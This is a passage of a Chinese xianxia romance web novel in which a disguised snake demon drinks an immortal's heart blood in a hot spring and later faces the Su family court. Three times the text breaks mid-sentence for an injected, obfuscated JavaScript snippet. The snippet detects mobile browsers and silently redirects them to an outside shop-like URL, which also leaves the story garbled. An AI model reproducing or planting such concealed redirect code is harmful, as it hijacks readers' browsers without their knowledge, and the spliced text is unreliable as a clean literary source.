不过好在第二日,那道可怖的气息便从月华世界中消失了。 随即,负责一切典仪事务的苏家便传出消息,仙尊带着幼蛇与长明宗宗主一起回了上界。 听闻此讯,所有人都松了口气。 而后,好奇的本性攀上心头,他们终于提出了和大世界修士一样的疑问,区区一只通天幼蛇而已,仙尊来这一趟到底是图什么呢? ——是啊,这臭石头下界一趟,砍了人不走,反而隐藏实力在小世界滞留,到底是图什么呢? 白玉京将下巴放在温泉边缘的石头上,带着微妙的怒意揣测到。 难不成他和传说中的初代灵主一样,终于为哪个巫女修出了灵心,却被对方始乱终弃,所以走火入魔了? 白玉京泄愤般在心底冷笑——这不要脸的流氓活该被人始乱终弃! 想到这里,盘作一团的幼蛇似乎又想起了不久之前的那件事,当即羞愤异常地低下头,不知道第几次舔向自己早已干涸的小腹。 然而无论白玉京自己怎么舔,柔软雪白的蛇腹还是干干净净地盘在那里,没有丝毫异样。 白玉京见状被气得眼前发昏,一边舔一边连自己都骂。 不争气的身体,只是被那王八蛋揉了两下便如此,简直是奇耻大辱! 甚至不止是身体,连他肚子里那枚诡异的金光,此刻也安静异常。 白蛇泄愤般舔了一会儿腹部,总算平静下来后,仰起脸看向夜幕,星辰璀璨间,月色如水般笼罩下来。 不知道是不是白玉京的错觉,经过大典上金光的那阵闹腾后,他那股莫名的直觉似乎又强了一些。 ……你飞升之后还好吗,青羽? 他凝视了天幕良久,最终顺着月色缓缓移下目光,落在了眼前雾气氤氲的逍遥池内。 只见所有人都以为已经回到上界的玄冽,此刻正背对着白玉京站在浴池边。 男人周身弥漫着诡异的血气,几乎将他的一身白衣染成了玄色。 ——将渡劫修为硬生生压到元婴的代价便是眼下这般。本体重到极致的戾气再难靠境界压下,只能借助灵泉每日洗去。 ……哼,人模狗样的臭石头,白玉京在心中幸灾乐祸地嘲笑到,本座看你这下子还怎么装。 和妖族不同,灵族很少向外人告知自己的本体情况。 妖族的本体一般不做遮掩,但名讳不可轻易示人,以防被高阶修士借名讳强行立下妖宠契。 所以哪怕是贵为妖皇的白玉京,在诸天世界中,也鲜少有人知道他的本名。 而灵族则和妖族相反,他们天生空心,修出灵心方可得证大道。 故他们的名讳可传,但本体不可轻易为外人所知,以防被人得知灵心之境,采用针对手段污染灵心。 近千年以来,有不少人尝试着去推算过玄冽的本体,然而无论是巫族的卦盘、修罗族的天眼,还是人族的女娲镜、鬼族的三生石,都算不出结果。 最终推算变成了推测,大部分人只能根据玄冽的外表猜测他的本体应当是天山玉,亦或者是类似的某种白玉。 白玉京每每听到这些话,便忍不住在心中嗤笑。 白玉?开什么玩笑。 那狗东西本体之可怖乃他平生未见,不知道遭受了多少诅咒,才能凝成那种诡异的颜色。 那是比夜色更为浓重的颜色,比鲜血更为渗人的基调。 和大部分修士猜测的结果大相径庭,玄冽的本体可不是什么高洁清冽的天山玉,恰恰相反,他的本体其实是一种和天山玉迥然不同,不知道在尸山血海中浸泡了多少年的诡异古玉。 后来白玉京查遍了妖族古籍,才终于在大凶之物那一栏找到了玄冽疑似的名称——血山玉。 初代妖主将这种玉称为世间至邪之石,并且认为这是大凶之兆。 然而就是这种让妖主都忌惮的凶石,眼下居然道貌岸然地披着人皮,在修真界被无数修士尊为正道仙尊——那群正道修士的狗眼恐怕是瞎了吧! 白玉京一边感受着对方身上越来越浓的血气,一边忍不住回忆起自己见到对方本体时的情形。 那似乎也是在这样的温泉中,白玉京忍着汗毛倒立的抗拒本能,张嘴将那块邪气森然的石头吞下,一口便在上面留下了一道清晰无比的齿痕。 玄冽这厮应该感谢自己的不嫌弃才对,白玉京洋洋得意地想到。 ……当然,再往后玄冽就化作了人形,要不是白玉京跑得快,恐怕已经被男人拎着尾巴吊起来了。 想到这里,白玉京心下不免耿耿于怀起来。 他在整件事中唯一的遗憾便是,这石头再次化形后,脸上却未留下任何疤痕。 按理来说,通天蛇可绝地通天,被白玉京咬过的东西,除非他愿意修复,不然伤痕将伴随那东西一生,直至生命尽头。 可玄冽化形后露在外面的部分依旧和以前一样,甚至那张脸一如既往的英俊,完美得半点伤痕都没有,看着更让人来气了。 对此,白玉京气得回到妖宫中咬了几天尾巴也没想清楚为什么,还以为血山玉有什么天克通天蛇的天赋,为此耿耿于怀了良久。 好在今天,他一直以来的疑惑终于得到了解答。 道貌岸然的白袍终于从男人身上褪下,偾张到可怖的肌肉纹理在雾气中隐约可见。 玄冽随手将衣袍抛开,背对着他迈入池中,身上浓重如血雾般的血气在池水的浸泡下淡了几分。 白玉京看了半天也没找到伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734541|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕,恼怒之下忍不住甩了甩尾巴。 白皙的尾尖划过水面,发出一阵微妙的响动。 池水中的人一顿,下一刻,应声回头。 “……!” 白玉京猝不及防地愣在原地。 却见一道狰狞无比的伤痕,从玄冽锁骨处一路向下,划过前胸,直至没入水中。 严格意义上来说,那并不能称之为伤痕,因为那道伤口其实并未彻底愈合,但受玄冽本体的影响,伤口处并无鲜血渗出。 所以,从外表上看去,那伤痕并不可怖,反而给那具强壮精悍的完美身躯上,增添了一抹极具破坏性的侵略感。 只有三根手指那么粗的小蛇见状缓缓睁大眼睛,忍不住从岸边抬起脑袋,勾着头打量,目光顺着疤痕缓缓往下瞟…… 玄冽突然从池水中起身。 “——!” 水声哗哗作响间,男人逆着夜色走到小蛇面前,站定,垂眸冷淡地看向对方。 白玉京:“……” ……不是说灵族无心无情吗? 一个天生阳.痿,化形的时候搞这么大是要干什么?给自己壮胆吗? 他愤愤地往后缩了一点,心想当时还是心太软,早知道多咬一寸了。 可表面上看过去,小蛇仿佛被惊呆了一般,微妙地往后缩了几分,看起来有点可怜。 玄冽眸底闪过了一丝意味不明,问道:“会化形吗?” ……现在?在浴池里? 看着□□的玄天仙尊,白玉京不可思议地又往后缩了几分。 这王八蛋想干什么? 他甚至忍不住怀疑起了这人是不是为了修出灵心,私下里衍生出了什么诡异的癖好。 好在玄冽说完那句话后没多久,像是突然想起了什么,抬手披上了里衣。 虽说胸口狰狞的伤痕还是一览无余,但好歹下.面是遮住了。 “……” 白玉京见状松了口气之余,突然从心底生出了一个绝妙的主意。 白蛇轻轻垂下头,清风拂过,一道绰约的人影出现在雾气之中。 看清楚眼前人的模样后,玄冽难得呼吸一滞。 白玉京故意找了件压箱底的粉缎流霞袍,薄如蝉翼的布料上,用粉金的天丝绣着大片桃花,衣袂间挂满了金银玉石,一眼看过去要多娇艳有多娇艳。 然而纵使绮罗满身,珠玉在侧,却依旧遮不住那张面容的秾艳。 此刻白玉京的模样与苏九韶所见时无异,却并非玄冽曾经熟知的那张面孔。 与他真正的容颜相比,此刻的这张脸更加明艳娇丽,毫无妖皇的威严。 白玉京曾经不止一次嫌弃过这张脸俗,不过眼下来看,倒是俗得恰到好处。 玄冽一动不动地站在那里,似乎被蛇妖的艳俗模样给恶心到不想说话了。 白玉京见状心下捧腹,心说这才哪到哪,让你恶心的事还在后面呢。 美人披着流沙般半透的粉袍,赤着脚侧身坐在温泉岸边,低头怯生生拜到:“小妖拜见仙尊,多谢仙尊出手相救。” 珠宝金玉随着他俯身的动作叮当作响,粉衣微微滑落,露出了一截白皙的后颈。 玄冽眸色没由来地沉了几分,不知是因为面前的景色,还是因为由此联想到的,眼前人可能与什么人走过的十年。 最终玄冽并未接话,只是道:“名讳。” 妖族名讳不能轻易示人,但以玄冽的实力,此刻若不说本名,随便编个名字糊弄他,恐怕瞒不过去。 “……” 白玉京心下几转,突然灵光一闪,佯装犹豫道:“在下并无名讳,只有一小字……” 说着,他煞有其事地停顿了两下。 一想到自己接下来要说什么,白玉京就忍不住想笑,低头用尽全力才勉强憋住。 玄冽果不其然问道:“小字为何?” 小美人闻言轻轻抬起头,用那双妖冶非人的瞳孔看向他,小心翼翼道:“回仙尊,在下小字……” “卿卿。” 9.饥饿 此话一出,整个逍遥池内鸦雀无声。 玄天仙尊一言不发地站在那里,似乎继那张艳俗娇媚的脸之后,又被这个腻人的名字给恶心坏了。 白玉京低下头佯做温顺,其实费尽全力才忍住腹中的笑意,乐得恨不得往水里打滚。 ——让你没轻没重地拽人尾巴,看本座今天恶心不死你,狗东西。 他心中笑得正欢,面前一言不发的人却突然抬起手。 “……?” 白玉京一怔,随之了然,心想这厮果然还是一如既往地忍不了这些。 待他控制不住将自己打杀,假死之后,这事就像被风吹散的烟尘一样,再无人会拿此嘲讽…… “……!” 月色之下,玄冽捏着白玉京的下巴,将他的脸轻轻抬起。 对方双目之中的愕然没来得及收回去,被人尽收眼底。 衣衫单薄的美人僵在原地一动不敢动,由此轻而易举便能联想到他原形毕露时,翘着脑袋的呆滞模样。 玄冽眼底几不可见地闪过一丝愉悦,不过很快便恢复冷静,低声道:“卿卿。” “……” 雾气氤氲中,美人缓缓睁大眼睛,瞬间便红了脸。 不是,这石头的灵心被人污染了?!谁敢冒犯玄天仙尊,不想活了—— 恰在此刻,一道寒光突然在白玉京面前闪过,他睫毛一颤,险些没压住妖气。 不过那寒光最终连他的发丝也没有伤到,反而在面前人的手腕上开了个口子。 灵族本体大多为玉、器、风、雷这种的非生之物,启智化形后没有正常的血液,所以玄冽胸口的伤痕处也没有血。 但眼下,涓涓的鲜血却从他手腕的伤口处淌出,最终在手心聚成一团浓郁的血珠。 白玉京直勾勾地盯着那团鲜血,喉结控制不住地滑动两下,蛇妖的天性让他一下子便嗅出了那是什么。 ——那是玄冽的心头血。 白玉京鬼迷心窍地想舔,刚探出舌尖,脑海中却突然回神。 不对,黄鼠狼给鸡拜年,这狗东西恐怕要要认他做灵宠! 心悸之感瞬间荡然无存,白玉京看着那滴血惊怒交加。 玄冽对上他因为怒意而鲜亮的眸子,却故意曲解道:“别急。” ……谁急了! 正当白玉京倍感羞辱,恨不得张嘴咬他时,原本悄无声息的金光竟突然在此刻躁动起来。 “——!” 白玉京呼吸一滞,瞳孔猛地收缩,熟悉的被蛊惑感朦朦胧胧地包裹住他。 【想…想吃……】 是那道没入酒液的稚童声。不过细听起来,它似乎比一开始时大了一些,眼下多少能听出来性别,是个奶声奶气的小姑娘。 【饿…饿……】 “……” 玄冽原本游刃有余地站在那里,下一刻,玄天仙尊却罕见地僵在原地。 却见美人俯首,捧着他的手腕探出舌尖,堪称乖顺地舔过那抹鲜血。 灵族无心,所以心头血极难得,哪怕是渡劫期也不能例外,往往存千年方得一滴。 不过相较于其他种族,灵族的心头血也因此更加浓郁,对于妖、鬼、修罗三灭道来说,是绝佳的大补之品。 吞吃下手心的血团后,白玉京迫不及待地舔吃到源头,一口咬在手腕处吮.吸起来。 万年所存的心头血不到三息便被掏空,感受着心口窒息般的凉意缓缓荡开,玄冽却无动于衷,只是眸色发暗地看着眼前人。 白玉京演出来的乖顺很快便被本能取代,獠牙撕开伤口,几乎是贪婪地吞食着鲜血。 由于吃得太急,血珠飞溅在他的脸颊上,甚至挂了半边睫毛,滴下后又顺着雪白的颈窝往下淌。 那张秾艳的脸染上了几分让人心神恍惚的凶狠。宛如在洁白的画布上涂抹上了鲜红的污渍一样,透着股难言的诡艳与蛊惑。 玄冽突然在此刻改变了下界前就做好的决定。 他抬手撩起白玉京落下的碎发,别在对方的耳后。 白玉京停顿了一下,似乎被他这个动作弄得恢复了几分清明。 玄冽面不改色地用灵气逼一股心头血,蛊惑着蛇妖缓缓晕开瞳孔,再次垂眸。 他一眨不眨地注视着眼前人,随即按着对方的后脑往下一压: “继续吃。” 衣衫凌乱的美人顺从地垂下头,张嘴含住了那点滚烫的热意。 寂静无声的夜色中,只剩下夹杂着水意的吞咽声。 过了不知道多久,蛇信舔过最后一丝鲜血,比寻常人的心头血滚烫百倍的血珠顺着喉管一路烧到腹腔。 不忍伤害母体的金光饿了许久,终于吞食到磅礴的灵力,状若久旱逢甘霖的幼苗,在母体腹中欢欣雀跃了一会儿后,再次陷入了沉睡。 最后一丝心头血下肚,供养者被榨到空无一物后,白玉京才略显遗憾地舔了舔对方干涸到发白的伤口,勉强恢复了些许理智。 ……等等,不对! 白玉京猛然回神,松开牙关当即后退,双眼睁得溜圆,警惕中带着凶悍地看向玄冽。 他的翻脸速度之快简直引人啧舌,那架势就好像刚刚险些被榨干的人不是玄冽,而是他一样。 然而片刻过去,白玉京想象之中的主仆契约并未出现在他的丹田中。 虽然他并非真正的金丹期小妖,实力上也足以和玄冽势均力敌,但这个出自巫祖之手,以心头血为引,专门针对妖族的上古契约并不容小觑。 理论上来说,只要得知妖族名讳并且让对方饮下自己的心头血,哪怕二人之间差了一个大境界,也有概率认主成功。 所以,严格意义上来说,以白玉京刚刚那种几乎要把玄冽吸干的架势,若是他运气再差一点,此刻他恐怕已经跪在水池里摇着蛇尾喊主人了。 白玉京被自己的想象激得一阵恶寒,恨不得掐着刚刚鬼迷心窍的自己扇几巴掌。 得亏自己运气好,要不然…… 庆幸的念头尚未浮现完,白玉京突然一顿。 体内的妖力达到了一种前所未有的充盈,小世界普遍灵力匮乏,从他捡到沈风麟开始算起,这十年间,白玉京从未感受过像眼下这般充盈的妖力。 强迫立契的心头血不可能有这种滋养静脉的效果,所以,玄冽喂给他的,本就是不掺任何咒法的心头血。 “……” 白玉京有些怔愣地眨了眨眼,因为刚刚吃得急,睫毛上还挂着血珠,抬手揉了揉眼睛。 月色下的美人略显手足无措,和刚刚恨不得将玄冽整个手臂咬断的凶残几乎判若两人。 玄冽手腕处被撕咬得开裂,伤口更是毫无血色,显得狰狞异常。 但玄天仙尊不愧是玄天仙尊,面对如此可怖的情形,他本人却若无其事地收回手,仿佛放出心头血只为了让一只蛇妖饱腹是什么再正常不过的事。 没等白玉京为他难得的善行恍惚,再次揣测他是不是灵心被人替换了,玄冽便淡淡道:“你是沈风麟的灵宠?” “……” 十年不见,这人还是这么会说话。 白玉京因为这一句话恼羞成怒得险些呲牙。 不过在谩骂即将脱口之际,白玉京猛然想起了自己刚刚在玄冽面前装出来的形象。 ……不行,要是现在暴露,这石头能取笑他的东西就更多了。 白玉京深吸了一口气,硬生生把骂人的话咽了回去,转而擦了一下嘴角的鲜血,一下子变回了那个我见犹怜的可怜蛇妖:“……仙尊见笑了。” 说着,他似是有些落寞地垂眸:“我并非他的妖宠,而是他的师尊。” 由于先前为了故意恶心玄冽,此刻的白玉京堪称衣衫不整,浅粉的衣襟染上灵血后变得鲜艳异常,寒夜的雾气打湿了他的鬓角,把他衬得格外狼狈。 可怜的小蛇妖鳞片尚未蜕全便给人当起了师尊,未曾想反被白眼狼当作换取前途的筹码。 若是旁人未见他方才那副危险凶狠的模样,眼下恐怕当真会被他哄骗过去,不免心生怜惜。 但玄冽从头到尾见识过他的变脸后,此刻心头泛起的便是另一种微妙的情绪了。 玄冽垂眸看着他的发顶:“你既是他的师尊,本尊杀他,你为何不恼?” ……本尊你个头,装模作样的臭石头。 白玉京心下磨牙,可惜他骑虎难下,一个谎说出去便要用更多的谎话来圆:“仙尊说笑了,小蛇谢您还来不及呢,怎敢恼怒。” “逆徒献师求荣,本就是我教导不周,幸得仙尊抬爱,才未落得被剖丹剜鳞的下场,至于逆徒的命……那是他的报应。” 状若可怜的小美人怯生生抬头,温顺道:“我与他师徒缘分既尽,何敢记恨仙尊。” 逍遥泉中水汽蒸腾,将白玉京薄纱般的衣料尽数打湿,黏腻地贴在肌肤上。 那着实是一幕难得一见的艳景,玄冽过了足足半晌的时间才再次开口道:“你当真相信沈风麟已死?” “以仙尊的实力,既已出手,他自是毫无生还的余地。”白玉京连忙道,“我并无救他之心,还请仙尊明鉴。” 玄冽却道:“本尊并不是在试你的忠心。” ……不要脸的东西,本座对你何来忠心?!既然不是试我那是什么意思,多说几个字能要了你的狗命吗? 白玉京心下暗骂玄冽这狗东西十年不见,说话还是这么故弄玄虚。 不过玄冽下一句话却让他骤然闭上了嘴:“你可听过人皇宋青羽?” ——青羽! 白玉京瞳孔骤缩,当即翻脸柔声道:“久闻女帝之名,我在笼中时,听闻她已飞升……” 担忧、埋怨与焦急一起涌上心头,但他又怕多说多错,最终千言万语只汇做一句话:“仙尊提她是何意?” 听到“笼中”二字,玄冽呼吸一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740254|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿,眼底骤然闪过一道阴沉之色,快得白玉京以为自己看错了。 不过很快他便转过身,向池水深处走去:“本尊与她有故,她飞升之后,曾降一密言。” ——她小时候练剑被你揍得满地乱爬,长大了登基被你嘲讽和她小爹一样又蠢又犟,她和你能有什么故? 白玉京被玄冽的不要脸给惊呆了。 但为了养女的安危,他顾不得其他,连故意套上的衣服都来不及换,便跟着玄冽下了温泉,靠坐在对方身旁装乖道:“敢问仙尊,人皇所言为何?” 玄冽看向他被泉水打湿的衣襟,半晌才扭过头淡淡道:“她所言者仅三字。” 白玉京急得恨不得揍他:“哪三字?” 玄冽道:“沈风麟。” 这时候又提沈风麟干什么? ……不对。 白玉京一怔,突然意识到了什么,脸色一下子变了。 青羽所言并非其他,而是沈风麟这个人。 指尖无意识攥紧玄冽衣袂,白玉京垂眸看向温泉水面倒映出来的璀璨银河。 ——你飞升后到底看到了什么呢,青羽? 若有难处,为何不来寻我? 思及此,白玉京对身旁人泛起了一丝微妙的埋怨。 这王八蛋既然早知沈风麟有问题,不可能轻易陨落,当时为何直接出手?就不怕打草惊蛇吗? 正被他暗骂的王八蛋恰在此刻开口道:“事已至此,你还相信你的好徒弟当真已经死了吗?” 白玉京脱口而出:“仙尊既然知晓他能假死求生,当时又何必费力?不如直接将他扣下,以您的实力,定能让他如实托出。” 前面那些话里面有多少是虚以委蛇不好说,但这句话里面的埋怨却清晰可见。 玄冽闻言扭头看了他三秒,随即以一种白玉京无比熟悉的口吻道:“你被他卖得不亏。” 白玉京:“……” 在人恼羞成怒之前,玄冽难得解释道:“他若真愿意全盘托出,宋青羽也就不必几经周折了。” 白玉京反唇相讥:“可眼下他既然没死,岂不是我们在明,他在暗,仙尊多此一举是何目的?” 听到“我们”两字,玄冽话音一顿,语气微妙地上扬了几分:“你以为他在暗,我们在明,实则相反。唯有绝境之地,方能逼出奇诡之处。” 在将沈风麟逼到绝路上这一观点上,白玉京其实和玄冽不谋而合。 然而没等白玉京细想,玄冽下一句便是:“若按你所说直接挑明,才是真正的打草惊蛇。” ……行行行,我目光短浅,我愚不可及,四海八荒属你最算无遗策。 不过你既然这么算无遗策,怎么活了这么久还没修出灵心? 白瞎了捏那么大的物什,中看不中用的破石头! 白玉京心下把玄冽骂了个狗血淋头,但得知宋青羽还能以某种方式将信息传递下来,这便说明飞升确实有古怪的同时,她本人目前应该没有太大危险。 白玉京松了口气之余,新仇旧恨一起涌上心头,他抬眸看向那人月色下熟悉且英俊的侧脸,越看越恼。 玄冽说完那句话后便把眼睛闭了起来,目中无人的冷淡模样简直比十年前更烦人。 白玉京一时间怒从心头起,恶向胆边生。 泉水在此刻彻底打湿了他的衣袍,使得所有布料完全贴在肌肤上,他借此忘玄冽身上一靠,轻声道:“所以仙尊留我……是为了引沈风麟出来吗?” “不。” 玄冽闭目否认道。 “那您为什么留下我呢?”衣衫凌乱的美人见他连眼都不愿睁,竟直接拥上他的胳膊,凑到他耳边低语道,“仙尊是为了我的妖丹吗?” 说话间,他的指尖好巧不巧地划过那道一直未愈的伤口,玄冽呼吸明显一滞,终于睁开眼看向他。 那眸底不含一丝温度,似是在警告。 可他越是这副模样,白玉京便越是牙根发痒,甚至连瞳孔都忍不住收成了竖瞳。 吞噬是通天蛇的天性,更是妖族的天性。妖族天生慕强,但更爱弑强。 因为打湿而一览无余的胸口,此刻柔软亲昵地挤压在玄冽手腕苍白的伤口处。 很难说白玉京到底是在撒娇,还是在故意折磨眼前人。 玄冽垂眸,将视线落在他敞开的胸口上,那处白腻异常,也空旷异常。 一直以来戴在白玉京胸口的玉蛇坠,此刻不知为何不翼而飞了。 玄冽眸色突然沉了几分。 白玉京见状还以为他是厌恶自己没有边界的亲昵,心下好笑,面上则变本加厉地腻在人肩膀上。 幽香喷洒在玄冽耳边,蛇信勾在他的耳畔:“仙尊,您这样的人,也会有心魔劫吗?” “您的心魔是什么?”娇艳欲滴的眉眼间,透着一股掺杂了妖异的天真,“告诉我好不好?” “或许……我能帮您呢?” 10.人前 朦胧皎洁的月色下,白玉京好整以暇地把下巴放在玄冽肩膀上,俨然一副得寸进尺的模样,完全不担心对方会因为被戳到痛脚而直接出手将他打死。 要是真出手了还好,白玉京漫不经心地想到,要的就是某人恼羞成怒的效果。 待自己假死脱逃后,世界上便再没人会知道他丢人的事。 所以,眼下对他来说最重要的事从一件变成了两件,第一件事,是找出沈风麟身上的古怪,而第二件事,则是把玄冽激怒,待这人忍不住出手,自己便能假死脱逃了。 完美。 正当白玉京搂着身旁人畅想自己自由且美好的未来时,玄冽竟然没恼,反而神色如常地解释道:“修出灵心者,方有心魔。” ……这厮居然在跟我解释?太阳打西边出来了? 白玉京心下纳闷,面上不信邪一般继续煽风点火:“以仙尊的实力,想必早已修出了灵心。” ——才怪。 白玉京曾经借着挑衅的名义,故意把尾巴探进玄冽的乾坤境中摸过。 为此他被玄冽掐着脖子按在地上,险些败北。 但废了这么大劲,最终他半块灵心的影子也没能从玄冽乾坤境中找出来。 这便说明……对方当时根本没有灵心。 那日白玉京在玄冽身下笑得张扬,摇着自己空空荡荡的蛇尾揶揄道:“我的好仙尊,修行万年连个灵心的苗头都没有,您这是修的什么仙啊?” “怎么,仙尊大人难不成也要学初代灵主?”白玉京在那人暴怒的灵气威压下,用尾尖勾着对方的脖子,凑到他耳边低声道,“那本座便勉为其难……也给您跳上一段巫舞如何?” 传闻初代灵主死于其妻之手,待那段祭祀天地的巫舞落幕后,他被大巫剖心祭天,死相极为凄惨。 白玉京此话和咒玄冽暴毙没任何区别,故而话一出口,他便被冷怒的男人拽着尾巴,直接倒吊在寝殿之内。 那是白玉京第一次见玄冽如此动怒,后来每一次回味都忍不住失笑。 所以按理来说,灵心一事,应该是他十拿九稳能把玄冽惹生气的话题。 可对方听了此话后居然依旧不恼,只是摇了摇头:“我灵心不全,因此暂无心魔。” 灵心不全,而非尚未修出灵心;暂无心魔,而非永无心魔。 白玉京一怔,第一反应不是问玄冽灵心为何不全,而是——区区十年未见,这石头什么时候修出的灵心,他怎么不知道? 玄冽在雾气中扭过头,见白玉京怔在原地,打量了对方半晌后,他竟意味不明开口道:“若真有一天心魔劫降世,你愿把妖丹借予我吗?” 这话问得古怪又离奇,他堂堂渡劫期灵修,怎么会用得上一个金丹蛇妖的妖丹。 白玉京原本也该这样反驳的,可看着近在咫尺却被雾气遮得几乎看不见的容颜,他心下竟产生了一股熟悉的恍惚。 恩公…… 他仰脸呆呆地看着对方,那一刹那,莫说妖丹,他甚至连自己都甘愿献出去。 ……不对! 白玉京蓦然回神。 他恩公早已离世,灵族没有来世,所以哪怕轮回转世,那人也不可能是玄冽。 更何况沈风麟的前车之鉴历历在目,再多的情根深种,转世之后,也不再是一个人了。 白玉京闭了闭眼,再睁眼时,眼前的雾气没由来的散了,露出了玄冽那张实在好看,但又实在让人生厌的俊脸。 ……想要本座妖丹的王八蛋,呵呵,你等着。 “我当然愿意了。”白玉京笑着塌下腰身,没骨头一样腻着玄冽的胳膊,软声轻语道,“只不过——仙尊得拿剩下的那半颗灵心跟我换,如何?” 说话间,他用手指暗示般圈着玄冽胸口永远无法愈合的伤口:“我只要半颗灵心而已,是不是很划算?” 小小金丹期蛇妖的妖丹,居然敢拿出来换渡劫期灵修的灵心,哪怕只是半颗,也称得上僭越至极。 可玄冽闻言居然依旧没有生气,只是闭上眼,没再多言。 空心的臭石头,白玉京见状,搂着他的手臂在心底磨牙,本座到要看你能忍到何时。 第二日,苏家玲珑宫正殿。 苏家家主苏千堂战战兢兢地立于台下,他侧前方坐着长明宗宗主烬瑜,正前方坐着那尊不可直呼其名的大神,身后则跟着面无血色的苏九韶,和一众表面战战兢兢,实际上想来看苏九韶笑话的苏家子弟。 “回禀烬宗主,”苏千堂行礼时恨不得把腰贴在地上,“按您的吩咐,苏家不肖子孙苏九韶给您带来了。” 说着他侧身让出苏九韶,同时不忘恶狠狠地瞪了她一眼。 苏九韶来之前已经做足了准备,可真站到这里,渡劫期修士磅礴的威压扑面而来,将一旁烬瑜的气势都衬得宛如萤火,更不用说他们这些筑基期修士了。 几乎是苏千堂让出位置的一瞬间,苏九韶便想直接跪下了结此生,也省得再经历身后那些人的讥笑与嘲讽。 然而,当她瞟见玄冽身边除了烬瑜外再无其他身影时,她却不由得一怔,连带着恐惧也淡了几分——白玉京呢?难道他已经被这位仙尊处死了不成? 想到这里,苏九韶心头泛起一阵悲凉,腿竟也没那么软了。 玄冽直接了当道:“沈风麟同你交代过什么?” 此话一出,周围子弟或是讥讽,或是嘲笑的目光一拥而上,尽数落在苏九韶身上。 苏九韶深吸了一口气,硬着头皮道:“回仙尊,他先是将他师尊……那条通天幼蛇的蛇鳞交与晚辈,而后命我告知烬宗主,让他用长明宗内门弟子之位来交换此蛇的妖丹与蛇鳞,除此之外并无他言。” 听到苏九韶在回禀时特意隐去了苏家,将一切事情全部揽到自己身上,苏千堂面色一顿。 玄冽知晓此事全貌,闻言并未深究:“沈风麟身上法器几何、法阵几何,将你见过的尽数道来。” ……沈风麟已经死了,仙尊问这个做什么? 这几乎是此刻全场所有人的疑惑,苏九韶也不例外,但她压根不敢这么问,只敢老老实实将自己见沈风麟用过的法器和法阵报菜名一般报了出来。 玄冽敲着桌案一一听去,奈何苏九韶报出来的全是白玉京昔日的藏品,并无其他异样。 ……这蠢蛇养徒弟可真是煞费苦心。 在其他人不明所以且胆战心惊的目光中,玄冽冷下神色,又问了几个更为奇怪的问题,苏九韶疑惑下,还是一一答了。 听完全部回答,没有找到任何奇诡之处。 在众人胆战心惊的气氛中,玄冽沉吟了片刻道:“你们下去吧。” 苏家人闻言不约而同地松了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741756|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,除了苏九韶。 毕竟,玄冽并没有特意吩咐如何处置她,那对于苏九韶来说,结局似乎便已经注定了——苏家绝对不会留着她这样一个招惹过沈风麟的祸患。 似是已经看到了自己的结局,苏九韶闭了闭眼,在苏千堂行过礼,打算带他们这些苏家子弟离开时,她睁开眼,豁出去一般道:“敢问仙尊,那只蛇妖……” 此话一出,全场皆惊。 众人万万没想到苏九韶竟然敢在这种场合,提起那个扰起一切的祸端。 原本因为她主动保下苏家而动容的家主当场变脸:“九韶!” 苏九韶咬住话头,却倔强地站在那里没有动。 玄冽见状眸色一顿,倒是没恼:“你找他何意?” “那蛇妖并非……”家主灼灼的目光下,苏九韶只得换了种说法,“那蛇妖于晚辈有恩,晚辈只是想知晓,他此刻是否无恙。” “……” 苏千堂眼前一黑,险些昏过去。 其他那些原本只是来看苏九韶笑话的苏家子弟一时间也生怕引火上身,纷纷对她怒目而视。 然而,就在这阵诡异的寂静中,一阵珠玉叮当的清脆声音在正殿外响起。 苏九韶闻声回眸,却见一身披华服,珠宝簇拥的美人旁若无人地迈入正殿,在她愕然的目光中,笑着跟她挥了挥手:“九韶姑娘找我吗?” “前——”苏九韶下意识开口,突然意识到了什么,当即咬住话头,一时间不知道该喊什么。 白玉京扫视了一圈,最终在烬瑜发木的神色中,笑盈盈地和苏千堂打招呼:“旧闻家主大名,今日一见果然名不虚传。” 苏千堂见他居然没死,反而活生生地站在这里,整个人一下子便僵在了原地。 毕竟,苏九韶只是传话之人,而苏千堂才是那个真正将蛇鳞送出去的人。 玄冽突然开口:“卿卿。” 众人还没反应过来他在喊谁,白玉京便像是被人踩了尾巴一般,不打自招地扭过头。 苏九韶见状突然意识到玄冽在喊谁,脸色一下子变得相当精彩。 玄冽淡淡道:“过来。” 其他人闻言总算回过神,纷纷震惊地看向两人。 白玉京:“……” 白玉京顶着众人如炬般的目光,脸颊宛如烧着一般滚烫。 ……这王八蛋当着外人面胡喊什么呢!? 他脚步黏在地上根本不想过去,然而,就在此刻,一道灵光突然从白玉京脑海中闪过。 